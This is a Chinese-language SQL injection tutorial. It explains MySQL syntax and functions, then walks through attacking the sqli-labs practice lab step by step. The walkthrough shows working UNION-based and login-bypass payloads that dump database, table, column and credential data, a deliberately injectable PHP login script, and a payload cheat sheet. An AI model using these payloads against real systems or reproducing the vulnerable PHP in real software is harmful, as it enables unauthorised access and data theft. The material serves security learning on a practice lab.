html或者htm,是一种静态的页面格式,不需要服务器解析其中的脚本,由浏览器解析。
最普遍的是一个应用服务器和一个数据库。
由于web应用程序对用户输入的数据没有过滤或者没有判断是否合法性,前端传入的参数是攻击者可以控制,并且参数带入数据库的执行,因此攻击者可以通过构造恶意的sql语句来实现对数据库的任意操作。
"``"反引号,一般在ESC键的下方。它是为了区分MYSQL的保留字与普通字符而引入的符号。
举个例子:SELECT `select` FROM `T1` WHERE 字段名='字段值'
在T1表中,有个字段名为select,如果不用反引号,MYSQL将把select视为保留字而导致出错,
所以,有MYSQL保留字作为字段的,必须加上反引号来区分。
名字上带反的反引号,这个其实是为了防止当字段为关键字时,用反引号就不会报错了
SELECT 语句用于从表中选取数据。结果被存储在一个结果表中(称为结果集)
假设有一张表为“list”,里面有字段,name,pwd,sex.
查询语句:
select * from list where name='kzq' and pwd='sss';
插入语句:
insert into list(name,pwd,sex) values('a','aa','boy');
修改语句:
update list set pwd='aadd' where name='kzq';
删除语句:
delete from list where name='kzq';
information_shcema数据库中的三个表:
1.schemata 表存储的是该用户创建的所有数据库的库名
2.tables 表存储该用户创建的所有数据库的库名和表名
3.columns 表存储该用户创建的所有数据库的库名、表名、字段名
1、mysql的注释:
a. / **/ b. --加空格,即“-- ”或者--+ :url 加号(+),会被解析成空格 c. #
url编码中: %20表示空格(空格可以使用+代替),%23表示#,+会被解析成空格,%27表示单引号,%28、%29为()
2、SQL注入的注释:
1.GET提交方式: a. --+ b. %23 2.POST提交方式: a. --+ :表单和url中都可以用 b. # :一般在表单中使用
内置系统函数:
version(): 当前mysql版本
database(): 当前网站使用的数据库
user(): 当前mysql的用户
@@datadir: 数据库路径
@@version_compile_os: 操作系统版
1、limit m,n用法 :
limit的使用格式是limit m,n,其中m指的是记录开始的位置(m+1),n表示取几条
当m=0时,表示从第一条记录开始,取n条记录显示。
例如:
mysql> select * from kk;
+----+----------+----------+
| Id | username | password |
+----+----------+----------+
| 1 | aa | 11 |
| 2 | cvb | 1234 |
| 3 | dsaa | 4552 |
| 4 | asdaw | 7885 |
+----+----------+----------+
mysql> select * from kk limit 0,2;
+----+----------+----------+
| Id | username | password |
+----+----------+----------+
| 1 | aa | 11 |
| 2 | cvb | 1234 |
+----+----------+----------+
mysql> select * from kk limit 2,2;
+----+----------+----------+
| Id | username | password |
+----+----------+----------+
| 3 | dsaa | 4552 |
| 4 | asdaw | 7885 |
+----+----------+----------+
mysql> select * from kk limit 2,1;
+----+----------+----------+
| Id | username | password |
+----+----------+----------+
| 3 | dsaa | 4552 |
+----+----------+----------+
2、order by n用法示例:对要所查询的字段中的第n个字段进行排序(缺省升序)。
如:对所查询的字段中的第2个字段 进行排序
select a,b from table order by 2 ;
相当于:
select a,b from table order by b ; 查询之后按b字段的值按升序排列
改变后面n的值判断所查询字段数量为多少: 3正常 2正常 4异常,说明字段数为3
mysql> select * from kk order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | aa | 11 |
| 2 | cvb | 1234 |
| 4 | tbtby | 1523 |
| 3 | afg | 5452 |
+----+----------+----------+
4 rows in set (0.00 sec)
mysql> select * from kk order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
mysql> select * from kk order by 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | aa | 11 |
| 3 | afg | 5452 |
| 2 | cvb | 1234 |
| 4 | tbtby | 1523 |
+----+----------+----------+
4 rows in set (0.00 sec)
3、union 联合查询:
union操作符用于合并两个或多个 select 语句的结果集。 union 内部的 select 语句必须拥有相同数量的字段。
示例:
mysql> select * from users where id=1 union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 1 | 2 | 3 |
+----+----------+----------+
2 rows in set (0.03 sec)
4、where函数:
select * from T where C='hello'; 以“where”来限制回传字段C中完全符合条件的数据
select * from T where C like 'hell%'; 以“where”搭配“like”来回传字段C中相似符合条件的数据
5、 其他有关函数
假设现有一张表kk里面存放了id,username,password这些信息
则通过select查询得到以下结果: mysql> select id,username,password from kk; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | aa | 11 | | 2 | cvb | 1234 | +----+----------+----------+ 2 rows in set (0.00 sec)
- concat()函数 将函数内的参数连接起来,形成一个单一的字符串,一行显示一组。
concat(str1,str2..)连接函数举例 mysql> select concat(id,username,password) from kk; +------------------------------+ | concat(id,username,password) | +------------------------------+ | 1aa11 | | 2cvb1234 | +------------------------------+ 2 rows in set (0.00 sec)
- group_concat()函数 将所有的输出结果都汇聚到一行,原本在一行的数据组合成一个字符串,使用逗号做为分隔符。
group_concat(str1,str2..)组合函数举例 mysql> select group_concat(id,username,password) from kk; +------------------------------------+ | group_concat(id,username,password) | +------------------------------------+ | 1aa11,2cvb1234 | +------------------------------------+ 1 row in set (0.00 sec)
- concat_ws()函数和concat()函数类似,只不过concat_ws()是使用第一个参数做为分隔符,将每个参数隔开
concat_ws(sep,str1,str2..)函数举例 mysql> select concat_ws('-',id,username,password) from kk; +-------------------------------------+ | concat_ws('-',id,username,password) | +-------------------------------------+ | 1-aa-11 | | 2-cvb-1234 | +-------------------------------------+ 2 rows in set (0.01 sec)
left(m,n) 从左向右截取字符串m返回前n位 substr(m,1,1) 取字符串m的左边第一位器,1字长的字符串 ascii(m) 返回字符串m的ASCII码 if(str1,str2,str3) 如果str1正确就执行str2,否则执行str3 sleep(m) 使程序暂停m秒 length(m) 返回字符串m的长度 count(column_name) 返回指定列的值的数目 exists() EXISTS用于检查子查询是否至少会返回一行数据,该子查询实际上并不返回任何数据,而是返回值True或False。一种通俗的可以理解为:将外查询表的每一行,代入内查询作为检验,如果内查询返回的结果取非空值,则EXISTS子句返回TRUE,这一行行可作为外查询的结果行(即可以作为参数),否则不能作为结果。
6、and & or
and & or 表示的是逻辑判断,and 表示 且,or 表示 或,即 and所连接的语句必须全要为真,整体才算真,or所连接的语句只要其一为真整体就为真。当不能输出语句时逻辑判断真的结果为1,假为的结果为空(0或null)
1.例如,在查询表中数据时,and 与 or 的区别,示例
a. 查找显示id=2 或 name=aa的数据信息 mysql> select * from kk where id=2 or name='aa'; +----+------+------+ | id | name | pass | +----+------+------+ | 1 | aa | 213 | | 2 | sda | 112 | | 3 | aa | 213 | | 5 | aa | 112 | +----+------+------+ b. 查找显示id=2 且 name=aa的数据信息,无输出结果 mysql> select * from kk where id=2 and name='aa'; Empty set (0.00 sec) c. 查找显示id=2 且 name=sda的数据信息 mysql> select * from kk where id=2 and name='sda'; +----+------+------+ | id | name | pass | +----+------+------+ | 2 | sda | 112 | +----+------+------+
2.select 结果集 中示例 and 与 or
参考以下例子,其中()表示子语句,会执行里面的sql语句,存在查询结果就输出其结果,若不存在,输出为null;当不能输出语句时逻辑判断结果是真为1,是假结果为空(0或null)。a. select concat(name) from kk where id=9; 的结果不存在即为null mysql> select database(),(select concat(name) from kk where id=9),'hg'; +------------+------------------------------------------+----+ | database() | (select concat(name) from kk where id=9) | hg | +------------+------------------------------------------+----+ | test | NULL | hg | +------------+------------------------------------------+----+ 1 row in set, 1 warning (0.00 sec) b. select concat(name) from kk where id=2; 结果存在直接输出 mysql> select database(),(select concat(name) from kk where id=2),'hg'; +------------+------------------------------------------+----+ | database() | (select concat(name) from kk where id=2) | hg | +------------+------------------------------------------+----+ | test | sda | hg | +------------+------------------------------------------+----+ c. 1 or (select concat(name) from kk where id=9; or的逻辑判断输出——>1 mysql> select database(),(1 or (select concat(name) from kk where id=9)),'hg'; +------------+-------------------------------------------------+----+ | database() | (1 or (select concat(name) from kk where id=9)) | hg | +------------+-------------------------------------------------+----+ | test | 1 | hg | +------------+-------------------------------------------------+----+ d. 1 and (select concat(name) from kk where id=9); and的逻辑判断输出——>null mysql> select database(),(1 and (select concat(name) from kk where id=9)),'hg'; +------------+--------------------------------------------------+----+ | database() | (1 and (select concat(name) from kk where id=9)) | hg | +------------+--------------------------------------------------+----+ | test | NULL | hg | +------------+--------------------------------------------------+----+ e. 5 and 5 结果为真输出——>1 5 and 0 结果为假输出——>0 5 or 0 结果为真输出——>1 -5 or 0 结果为真输出——>1 mysql> select (5 and 5),(5 and 0),(5 or 0); +-----------+-----------+----------+-------------+ | (5 and 5) | (5 and 0) | (5 or 0) |(-5 or 0) | +-----------+-----------+----------+-------------+ | 1 | 0 | 1 | 1 | +-----------+-----------+----------+-------------+ 1 row in set (0.00 sec) f. 一般数字除0外都代表真,字符串为假, 若字符串以数字开头,则取开头数字作为转换结果,若无则输出0。 · -5 and 5 结果为真输出——>1 · 5 and 'hg' 结果为假输出——>0 · 5 or 'hg' 结果为真输出——>1 mysql> select (-5 and 5),(5 and 'hg'),(5 or 'hg'),5; +------------+--------------+-------------+---+ | (-5 and 5) | (5 and 'hg') | (5 or 'hg') | 5 | +------------+--------------+-------------+---+ | 1 | 0 | 1 | 5 | +------------+--------------+-------------+---+ 1 row in set, 1 warning (0.00 sec) g. 'fsd' or 'jj' 结果为假输出——>0 '5fsd'结果为真,'jj'为假,or的整体为真输出——>1 '5fsd'结果为真,'jj'为假,and的整体为假输出——>0 mysql> mysql> select ('fsd' or 'jj'),('5fsd' or 'jj'),('5fsd' and 'jj'); +-----------------+------------------+-------------------+ | ('fsd' or 'jj') | ('5fsd' or 'jj') | ('5fsd' and 'jj') | +-----------------+------------------+-------------------+ | 0 | 1 | 0 | +-----------------+------------------+-------------------+ 1 row in set, 5 warnings (0.00 sec)
由前面的知识已经知道为啥会有SQL注入,以及形成原因,现在我们逐步分析与理解其过程。
比如有个网址为:http://192.168.191.134/1/sqli/Less-1/?id=1
比如执行的是查询语句,且执行语句如下所示: mysql> select `id`,`username`,`password` from users where id='1'; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec)
其合法请求结果如下:只能看到参数id其值为1的输出结果
当攻击者将参数的值构造为非法SQL语句时,例如:?id=1’ union select 1,2,3 limit 1,1 --+
由于我们没有对输入的参数进行过滤,攻击者构造的非法SQL语句最终被传入到数据库中执行 mysql> select `id`,`username`,`password` from users where id='1' union select 1 ,2,3; -- '; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | | 1 | 2 | 3 | +----+----------+----------+ 2 rows in set (0.02 sec) mysql> select `id`,`username`,`password` from users where id='1' union select 1,2,3 limit 1,1; -- '; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | 2 | 3 | +----+----------+----------+ 1 row in set (0.00 sec)
由下图可以观察到当恶意SQL语句被执行时,攻击者看到了其想看到的内容。
经过实例的分析,我们了解到了,原本只能看到查询为id=1的结果,而攻击者通过构造非法的SQL语句,获取到了其他信息。
例如:改变参数id的值,?id=1 ----> ?id=1’ union select 1,2,3 limit 1,1 --+在数据库分别执行的语句为: a. select * from users where id='1' b. select * from users where id='1' union select 1,2,3 limit 1,1 --+'
万能密码
1' or 1=1 # ——> 执行结果为真,输出数据库中的第一行数据。 执行的语句为:select * from users where id='1' or 1=1 ;
判断是否存在sql注入以及注入的类型:
1、判断注入类型:
a.整形注入: id=1' 报错 id=1 and 1=1 正常 id=1 and 1=2 异常 id=3-1 和 id=2的输出结果一致 b.字符注入: id=1' 报错 id=1' and 1=1 # 正常 id=1' and 1=2 # 异常 id=3-1' 与id=2'的输出结果不一致 但和 id=3sdas'的输出结果一致
2、整形与字符型区别详讲
·整形是可以±运算的
·字符型匹配字符串,若字符串以数字开头,则取开头的数字作为转换结果(输出第一个可以匹配的,若找不到则为空)a. 整形 如下所示:整形是可以进行±运算的
测试 id=13 mysql> select * from kk where id=13; +----+----------+----------+ | Id | username | password | +----+----------+----------+ | 13 | ss | 44 | +----+----------+----------+ 1 row in set (0.00 sec) 测试 id=13+1 mysql> select * from kk where id=13+1; +----+----------+----------+ | Id | username | password | +----+----------+----------+ | 14 | wewa | weae | +----+----------+----------+ 1 row in set (0.00 sec) 测试 id=13-1 mysql> select * from kk where id=13-1; +----+----------+----------+ | Id | username | password | +----+----------+----------+ | 12 | s | 44 | +----+----------+----------+ 1 row in set (0.00 sec) 整形是不可以输入字符串的不然会报错,测试id=13asdas结果如下: mysql> select * from kk where id=13asdas; ERROR 1054 (42S22): Unknown column '13asdas' in 'where clause'
b. 字符型 如下所示:?id='12’与?id='12dad’以及?id='12-1’结果是一样的
测试 id='12dad' mysql> select * from kk where id='12dad'; +----+----------+----------+ | Id | username | password | +----+----------+----------+ | 12 | s | 44 | +----+----------+----------+ 1 row in set, 1 warning (0.00 sec) 测试 id='12' mysql> select * from kk where id='12'; +----+----------+----------+ | Id | username | password | +----+----------+----------+ | 12 | s | 44 | +----+----------+----------+ 1 row in set (0.00 sec) 测试 id='12-1' mysql> select * from kk where id='12-1'; +----+----------+----------+ | Id | username | password | +----+----------+----------+ | 12 | s | 44 | +----+----------+----------+ 1 row in set, 1 warning (0.00 sec) 当找不到相匹配的结果时输出为空,如下所示: mysql> select * from kk where id='srft'; Empty set (0.00 sec) mysql> select * from kk where id='1222hhjj'; Empty set (0.00 sec)
1. 整形: 输入的值能进行±运算,当作数字,即纯数字无闭合
2.单引号,双引号: 输入的值被当作字符串,不能运算,一般取第一个可以匹配的,否则无结果
MySQL中单引号与双引号的区别不大
例如:
mysql> select 's',"dd",'\'ii',"\'ii","'dd'","''''",'3"""';
+---+----+-----+-----+------+------+------+
| s | dd | 'ii | 'ii | 'dd' | '''' | 3""" |
+---+----+-----+-----+------+------+------+
| s | dd | 'ii | 'ii | 'dd' | '''' | 3""" |
+---+----+-----+-----+------+------+------+
1 row in set (0.08 sec)
3. 主要闭合有整形、引号或前两之一加上括号闭合的等,根据实际判断
以靶场为例,靶场地址为:http://192.168.191.134/1/sqli/Less-3/
开始测试,根据提示输入参数id并赋值,如下
1、首先找到注入点,发现参数id是可控的,且经过测试得出是字符型注入
2、判断闭合结构,如下所示,测试了值为:3’、3"、3’ --+ 、3’) --+的结果;发现单引号报错,双引号成功,即可以判断是单引号字符型,由于3’ --+ 也报错,尝试加一个括号闭合,测试成功,可以得出是单引号带括号的闭合结构,即为:(‘’)。
3、构造SQL语句,判断出所查询的字段为几个,经测试在?id=3’) order by 4 --+时报错,而2和3是正常的,说明其字段数为3个 。
4、判断出字段数之后,就可以使用联合查询找出回显点,回显位置即调用数据库中的信息显示在网页上,方便我们后续注入,如下图所示,在测试 ?id=3’) union select 4,5,6 --+时显示的结果还是id=3的,所以判断只能显示一行的数据,因此加一个limit方法,使得显示我们构造的参数,发现 ?id=3’) union select 4,5,6 limit 1,2–+ 成功得到回显点,即之后可以在5和6两个位置构造SQL语句。
5、在回显点构造SQL语句,http://192.168.191.134/1/sqli/Less-3/?id=3’) union select 4,user(),database() limit 1,2 --+ ,由之前的知识我们知道函数user(),database() 的作用,由下图可以知道的当前mysql的用户和当前所在数据库。得到数据库名security和当前权限。
6、获取数据库中的表,构造语句**select 4,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),6 limit 1,2 --+ **
我们得到了表: emails,referers,uagents,users 其实通过表名我们可以猜测用户信息大概存放在users表中。7、获取表中包含的字段,构造语句select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’
我们得到了数据库security的users表中的字段有 id,username,password 。8、获取数据,构造语句
select group_concat(id,'_',username,'_',password) from security.users
如下图所示,我们成功获取到了users表里的所有数据,在实际中我们获取到了用户数据信息后,就可以利用获取到的账号密码进行登录,从而进一步操作。
9、例如,有如下的前后端代码,当用户名和密码输入正确时弹窗,这个比较简陋只是简单的示范而已,测试我们获得账号密码,以Dumb为例,成功登录!!!
<meta charset="UTF-8"/> <form action="post.php" method="POST"> 用户名<input type='text' name='b'/><br/> 密码 <input type='password' name='password'/><br/> <input type='submit' name='s' value="登录"/> <input type='submit' name='s' value="register"/> form>
// <?php $username = $_POST['b']; $password = $_POST['password']; if($_POST['s']=="登录"){ $conn = mysqli_connect('127.0.0.1','root','root','security'); $sql = "select * from users where username='$username' and password='$password'"; $result = mysqli_query($conn ,$sql); $cc=mysqli_fetch_array($result); if($username==$cc['username'] and $username!=null){ // echo "success:welcome $username !!!"; echo ""; }else if($username==null or $password==null){ echo "user or password can't null"; }else echo "fail"; } if($_POST['s']=="register"){ $conn = mysqli_connect('127.0.0.1','root','root','security'); $sql = "select * from users where username='$username'"; $result=mysqli_query($conn ,$sql); $cc=mysqli_fetch_array($result); if($username==$cc['username'] and $username!=null){ echo "username aleady registered"; } else if($username!=null and $password!=null){ $sql2="insert into users(username,password) values(\"$username\",\"$password\")"; $result2=mysqli_query($conn ,$sql2); echo "registered success"; }else{ echo "username or password can't null"; } } ?>
10、整理
a. 判断字段数使用方法 order by n ' or 1=1 order by 4 --+ b. 判断回显位置 ' or 1=1 union select 1,2,3,4 --+ c. 爆出当前数据库、当前所有者及版本 union select 1,database(),user(),version() --+ d. 爆表 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # e. 爆出字段 union select 1,group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema=database() # f. 爆出数据 union select 1,(select group_concat(C1) from T1),3,4 --+